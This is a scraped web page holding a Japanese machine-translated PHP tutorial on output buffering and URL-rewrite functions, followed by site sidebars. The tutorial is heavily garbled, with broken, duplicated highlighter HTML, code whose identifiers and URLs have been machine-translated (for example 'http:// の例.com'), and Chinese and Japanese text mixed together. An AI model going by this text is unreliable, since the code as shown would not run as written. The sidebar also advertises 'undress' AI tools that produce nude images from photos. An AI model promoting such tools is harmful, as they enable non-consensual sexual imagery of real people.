plain">var_dump(ob_get_status());</code></p><div class="line number7 index6 alt2"><code class="php plain">var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">?></code></div></div></td> </tr></tbody></table> <divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div class="linenumber7index6alt2">7<divclass>8</divclass> </div></divclass></divclass> </div></divclass></divclass> </div></td> <td class="code"><div class="container"><div class="linenumber1index0alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例16*/</code><🎜><div class="linenumber3index2alt2"><codeclass="php plain">ob_start();</code><🎜><divclass="linenumber4index3alt1 "><code class="php function">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code><🎜>< div class="linenumber5index4alt2"><code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code><🎜><div class= "linenumber6index5alt1"><codeclass="php plain">var_dump(ob_get_status());</code><🎜><div class="linenumber7index6alt2"><code class="php plain"> var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code><🎜><div class="linenumber8index7alt1"> <code class="php plain">?></code></div></div></td> </tr></tbody></table> <p> 最後に、URL 書き換えに関連する 2 つの関数を見てみましょう。 </p> <p><strong> 15. bool Output_add_rewrite_var ( string $name , string $value ) </strong></p> <p> この関数は、URL 書き換えメカニズムのキーと値を追加します。ここでの URL 書き換えメカニズムとは、GET モードで URL の末尾にキーと値のペアを追加すること、または GET モードで非表示の形式でキーと値のペアを追加することを指します。フォーム。絶対 URL は追加されません。マニュアルの例を使用してみましょう: </p> <p></p> <div id="highlighter_705783" class="syntaxhighlighter php"> <table border="0" cellpacing="0" cellpadding="0"> <tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"> <code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例17*/</code></p><div class="line number3 index2 alt2"><code class="php plain">output_add_rewrite_var(</code><code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"><code class="php spaces"> </code> </p><div class="line number5 index4 alt2"><code class="php comments">// some links</code></p><div class="line number6 index5 alt1"><code class="php functions">echo</code> <code class="php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a></code><div class="line number7 index6 alt2"> <code class="php plain"><a href=</code><code class="php string">"http://example.com"</code><code class="php plain">>link2</a>';</code><div class="line number8 index7 alt1"> <code class="php spaces"> </code> <div class="line number9 index8 alt2"> <code class="php comments">// a form</code><div class="line number10 index9 alt1"> <code class="php functions">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code><div class="line number11 index10 alt2"> <code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code><div class="line number12 index11 alt1"> <code class="php plain"></form>';</code><div class="line number13 index12 alt2"> <code class="php spaces"> </code> <div class="line number14 index13 alt1"> <code class="php plain">print_r(ob_list_handlers());</code><div class="line number15 index14 alt2"><code class="php plain">?></code></div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div></td> </tr></tbody></table> <divclass>2<divclass line number3index2alt2>3<div class="linenumber4index3alt1">4<divclass>5<divclass> 6<div class="linenumber7index6alt2">7<divclass>8<divclass>910<divclass>11<divclass>12<divclass line number13index12alt2>13<div class="linenumber14index13alt1">14<divclass>15</divclass> </div></divclass></divclass></divclass></divclass></divclass> </div></divclass></divclass> </div></divclass></divclass> </div></td> <td class="code "><div class="container"><div class="linenumber1index0alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1alt1" ><code class="php comments">/*例 17*/</code><🎜><div class="linenumber3index2 alt2"><code class="php plain">output_add_rewrite_var(</code> < code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class= " php plain">);</code><🎜><div class="linenumber4index3alt1"><codeclass="phpspace"></code><🎜><divclass="linenumber5index4alt2" ><code class="php comments">// いくつかのリンク</code><🎜><div class="linenumber6 index5 alt1"><code class="php function">echo</code> <code class = "php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a> /code><div class="linenumber7index6alt2"> <code class="php plain"><a href=</code><code class="php string">"http:// の例.com"</code><code class="php plain">>link2</a>';</code><div class="linenumber8index7alt1"> <code class="php space "> </code> <div class="linenumber9index8alt2"><codeclass comments>// フォーム<div class="linenumber10index9alt1 "> <code class="php function">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</ / code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code><div class="linenumber11index10alt2"> <code class="php plain"><input type=</code><code class="php string">"text"</code> <code class = "php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code><div class="linenumber12index11alt1"><code class="php plain"></form>';</code><🎜><div class="linenumber13index12 alt2"><code class="php space" > </code> <🎜><div class="linenumber14index13alt1"><codeclass="php plain">print_r(ob_list_handlers());</code><🎜><div class="linenumber15index14alt2 "><code class="php plain">?></code></div> </div> </div></codeclass></div> </div> </div></codeclass></div></div></td> </tr></tbody> </table> <p> 手順の出力:</p> <p></p> <div id="highlighter_635537" class="syntaxhighlighter html"> <table border="0" cellpacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr> <td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></td> <td class="code"><div class="container"><div class="line number1 index0 alt2"> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class="html plain">>link</</code><code class="html keyword">a</code><code class="html plain">></code><div class="line number2 index1 alt1"> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</</code><code class="html keyword">a</code><code class="html plain">></code><div class="line number3 index2 alt2"> <code class="html spaces"> </code> <div class="line number4 index3 alt1"> <code class="html plain"><</code><code class="html keyword">form</code> <code class="html color1">action</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">method</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain">></code><div class="line number5 index4 alt2"> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">value</code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code><div class="line number6 index5 alt1"> <code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code><div class="line number7 index6 alt2"> <code class="html plain"></</code><code class="html keyword">form</code><code class="html plain">></code><div class="line number8 index7 alt1"> <code class="html spaces"> </code> <div class="line number9 index8 alt2"> <code class="html plain">Array</code><div class="line number10 index9 alt1"> <code class="html plain">(</code><div class="line number11 index10 alt2"> <code class="html spaces">    </code><code class="html plain">[0] => URL-Rewriter</code><div class="line number12 index11 alt1"><code class="html plain">)</code></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div></td> </tr></tbody></table> <divclass>2<divclass>3 <div class="linenumber4index3alt1">4<p><divclass>5</divclass></p> <divclass>6<p><divclass linenumber7index6alt2>7<strong><divclass>8</divclass></strong><divclass>9</divclass></divclass></p> <divclass>10<p></p> <div class="linenumber11index10alt2">11<divclass>12<h3></h3></divclass> </div></divclass></divclass> </div></divclass></divclass> </div></td> <td class="code"><div><div class="linenumber1index0alt2"> <code class="html plain"><</code><code class="html keyword">a</code> <code class=" html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class=" html プレーン">>リンク</</code><code class="html キーワード">a</code><code class="html plain">></code><div class="行番号 2 インデックス 1 alt1"> <code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code>< code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</< /code><code class="html key">a</code><code class="html plain">></code><p></p> <div class="linenumber3index2alt2"><codeclass> <div class="linenumber4index3 alt1"> <code class="html plain"><</code><code class="htmlKeyword">フォーム</コード> <code class="html color1">アクション</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">メソッド</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain" >></code><ol><div class="linenumber5index4alt2"> <code class="html plain"><</code><code class="html key">入力</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">名前</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">値</ code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code><li><div class="linenumber6index5alt1"><code class="html plain"><</code><code class="htmlkeyword">入力</code> <code class="html color1"> type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code>< code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code><div class="linenumber7index6alt2"> <code class="html plain"></</code><code class="html key">フォーム</code><code class="html plain">> </code><li><div class="linenumber8index7alt1"><codeclass> <divclass><codeclass html plain>配列<div class="linenumber10index9alt1"><codeclass plain>(<div class="clear"><div class="linenumber11index10alt2"> <code class="html space"> </code><code class="html plain">[0] => URL リライター</code><div class="linenumber12index11alt1"><code class="html plain">)</code></div> </div></div></codeclass></div></codeclass></divclass></codeclass></div></li> </div> </div></ol> </div></codeclass></div> </div> </div></div></td> </tr></tbody></table> URL アドレスに対する接続とフォームテーブル単位が対応する接続​​値に追加されていることがわかります。 16. bool Output_reset_rewrite_vars ( void ) この関数は、すべての URL 再書き込み機構をクリアするために使用されます。つまり、output_add_rewrite_var() によって設定された再書き込み量を削除します。その他の注意が必要な場所 相信读了上の内容,就会对PHP の缓冲制御関数数有深认识了,那珂下说一部日常使用において必要な注意事項:例 3 の 3 番目の行で、1024 の長さのスペースが出力されましたが、その原因は、一部の win32 のサーバー プログラムで、上記の関数を使用しても、コメントが保存される可能性があるためです。の出力は、その圧縮領域がオーバーすることを考慮して、最初に送信する必要があるため、テスト中に問題がある場合は、この値をさらに大きく設定することもできます。たとえば、4096 です。 スクリーンが終了する前に圧縮エリアが空にされていない限り、スクリーンが終了すると、圧縮エリアのすべてのコンテンツが自動的に視聴者に出力されます。</div> </div> </div> </div></strong></p> </div> </div> </div></divclass> </div></divclass></divclass> </div></divclass></divclass></divclass></divclass></divclass></divclass> </div></divclass></divclass></codeclass></divclass></codeclass></div> </div></divclass> </div> </div> </div> </div> </div> </div>
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

解決策: 組織では PIN を変更する必要があります。 解決策: 組織では PIN を変更する必要があります。 Oct 04, 2023 pm 05:45 PM

ログイン画面に「組織から PIN の変更を求められています」というメッセージが表示されます。これは、個人のデバイスを制御できる組織ベースのアカウント設定を使用しているコンピューターで PIN の有効期限の制限に達した場合に発生します。ただし、個人アカウントを使用して Windows をセットアップした場合、エラー メッセージは表示されないのが理想的です。常にそうとは限りませんが。エラーが発生したほとんどのユーザーは、個人アカウントを使用して報告します。私の組織が Windows 11 で PIN を変更するように要求するのはなぜですか?アカウントが組織に関連付けられている可能性があるため、主なアプローチはこれを確認することです。ドメイン管理者に問い合わせると解決できます。さらに、ローカル ポリシー設定が間違っていたり、レジストリ キーが間違っていたりすると、エラーが発生する可能性があります。今すぐ

Windows 11 でウィンドウの境界線の設定を調整する方法: 色とサイズを変更する Windows 11 でウィンドウの境界線の設定を調整する方法: 色とサイズを変更する Sep 22, 2023 am 11:37 AM

Windows 11 では、新鮮でエレガントなデザインが前面に押し出されており、最新のインターフェイスにより、ウィンドウの境界線などの細部をカスタマイズして変更することができます。このガイドでは、Windows オペレーティング システムで自分のスタイルを反映した環境を作成するのに役立つ手順について説明します。ウィンドウの境界線の設定を変更するにはどうすればよいですか? + を押して設定アプリを開きます。 Windows [個人用設定] に移動し、[色の設定] をクリックします。ウィンドウの境界線の色の変更設定ウィンドウ 11" width="643" height="500" > [タイトル バーとウィンドウの境界線にアクセント カラーを表示する] オプションを見つけて、その横にあるスイッチを切り替えます。 [スタート] メニューとタスク バーにアクセント カラーを表示するにはスタート メニューとタスク バーにテーマの色を表示するには、[スタート メニューとタスク バーにテーマを表示] をオンにします。

Windows 11でタイトルバーの色を変更するにはどうすればよいですか? Windows 11でタイトルバーの色を変更するにはどうすればよいですか? Sep 14, 2023 pm 03:33 PM

デフォルトでは、Windows 11 のタイトル バーの色は、選択したダーク/ライト テーマによって異なります。ただし、任意の色に変更できます。このガイドでは、デスクトップ エクスペリエンスを変更し、視覚的に魅力的なものにするためにカスタマイズする 3 つの方法について、段階的な手順を説明します。アクティブなウィンドウと非アクティブなウィンドウのタイトル バーの色を変更することはできますか?はい、設定アプリを使用してアクティブなウィンドウのタイトル バーの色を変更したり、レジストリ エディターを使用して非アクティブなウィンドウのタイトル バーの色を変更したりできます。これらの手順を学習するには、次のセクションに進んでください。 Windows 11でタイトルバーの色を変更するにはどうすればよいですか? 1. 設定アプリを使用して + を押して設定ウィンドウを開きます。 Windows「個人用設定」に進み、

Windows 11 でタスクバーのサムネイル プレビューを有効または無効にする方法 Windows 11 でタスクバーのサムネイル プレビューを有効または無効にする方法 Sep 15, 2023 pm 03:57 PM

タスクバーのサムネイルは楽しい場合もありますが、気が散ったり煩わしい場合もあります。この領域にマウスを移動する頻度を考えると、重要なウィンドウを誤って閉じてしまったことが何度かある可能性があります。もう 1 つの欠点は、より多くのシステム リソースを使用することです。そのため、リソース効率を高める方法を探している場合は、それを無効にする方法を説明します。ただし、ハードウェアの仕様が対応可能で、プレビューが気に入った場合は、有効にすることができます。 Windows 11でタスクバーのサムネイルプレビューを有効にする方法は? 1. 設定アプリを使用してキーをタップし、[設定] をクリックします。 Windows では、「システム」をクリックし、「バージョン情報」を選択します。 「システムの詳細設定」をクリックします。 [詳細設定] タブに移動し、[パフォーマンス] の下の [設定] を選択します。 「視覚効果」を選択します

Windows 11/10修復におけるOOBELANGUAGEエラーの問題 Windows 11/10修復におけるOOBELANGUAGEエラーの問題 Jul 16, 2023 pm 03:29 PM

Windows インストーラー ページに「問題が発生しました」というメッセージとともに「OOBELANGUAGE」というメッセージが表示されますか?このようなエラーが原因で Windows のインストールが停止することがあります。 OOBE とは、すぐに使えるエクスペリエンスを意味します。エラー メッセージが示すように、これは OOBE 言語の選択に関連する問題です。心配する必要はありません。OOBE 画面自体から気の利いたレジストリ編集を行うことで、この問題を解決できます。クイックフィックス – 1. OOBE アプリの下部にある [再試行] ボタンをクリックします。これにより、問題が発生することなくプロセスが続行されます。 2. 電源ボタンを使用してシステムを強制的にシャットダウンします。システムの再起動後、OOBE が続行されます。 3. システムをインターネットから切断します。 OOBE のすべての側面をオフライン モードで完了する

Windows 11 でのディスプレイ スケーリング ガイド Windows 11 でのディスプレイ スケーリング ガイド Sep 19, 2023 pm 06:45 PM

Windows 11 のディスプレイ スケーリングに関しては、好みが人それぞれ異なります。大きなアイコンを好む人もいれば、小さなアイコンを好む人もいます。ただし、適切なスケーリングが重要であることには誰もが同意します。フォントのスケーリングが不十分であったり、画像が過度にスケーリングされたりすると、作業中の生産性が大幅に低下する可能性があるため、システムの機能を最大限に活用するためにカスタマイズする方法を知る必要があります。カスタム ズームの利点: これは、画面上のテキストを読むのが難しい人にとって便利な機能です。一度に画面上でより多くの情報を確認できるようになります。特定のモニターおよびアプリケーションにのみ適用するカスタム拡張プロファイルを作成できます。ローエンド ハードウェアのパフォーマンスの向上に役立ちます。画面上の内容をより詳細に制御できるようになります。 Windows 11の使用方法

Windows 11で明るさを調整する10の方法 Windows 11で明るさを調整する10の方法 Dec 18, 2023 pm 02:21 PM

画面の明るさは、最新のコンピューティング デバイスを使用する上で不可欠な部分であり、特に長時間画面を見る場合には重要です。目の疲れを軽減し、可読性を向上させ、コンテンツを簡単かつ効率的に表示するのに役立ちます。ただし、設定によっては、特に新しい UI が変更された Windows 11 では、明るさの管理が難しい場合があります。明るさの調整に問題がある場合は、Windows 11 で明るさを管理するすべての方法を次に示します。 Windows 11で明るさを変更する方法【10の方法を解説】 シングルモニターユーザーは、次の方法でWindows 11の明るさを調整できます。これには、ラップトップだけでなく、単一のモニターを使用するデスクトップ システムも含まれます。はじめましょう。方法 1: アクション センターを使用する アクション センターにアクセスできる

Windows Serverでアクティベーションエラーコード0xc004f069を修正する方法 Windows Serverでアクティベーションエラーコード0xc004f069を修正する方法 Jul 22, 2023 am 09:49 AM

Windows のライセンス認証プロセスが突然切り替わり、このエラー コード 0xc004f069 を含むエラー メッセージが表示されることがあります。ライセンス認証プロセスはオンラインですが、Windows Server を実行している一部の古いシステムではこの問題が発生する可能性があります。これらの初期チェックを実行し、システムのアクティブ化に役に立たない場合は、問題を解決するための主要な解決策に進んでください。回避策 – エラー メッセージとアクティベーション ウィンドウを閉じます。次に、コンピュータを再起動します。 Windows ライセンス認証プロセスを最初から再試行します。解決策 1 – ターミナルからアクティブ化する cmd ターミナルから Windows Server Edition システムをアクティブ化します。ステージ – 1 Windows Server のバージョンを確認する 使用している W の種類を確認する必要があります

See all articles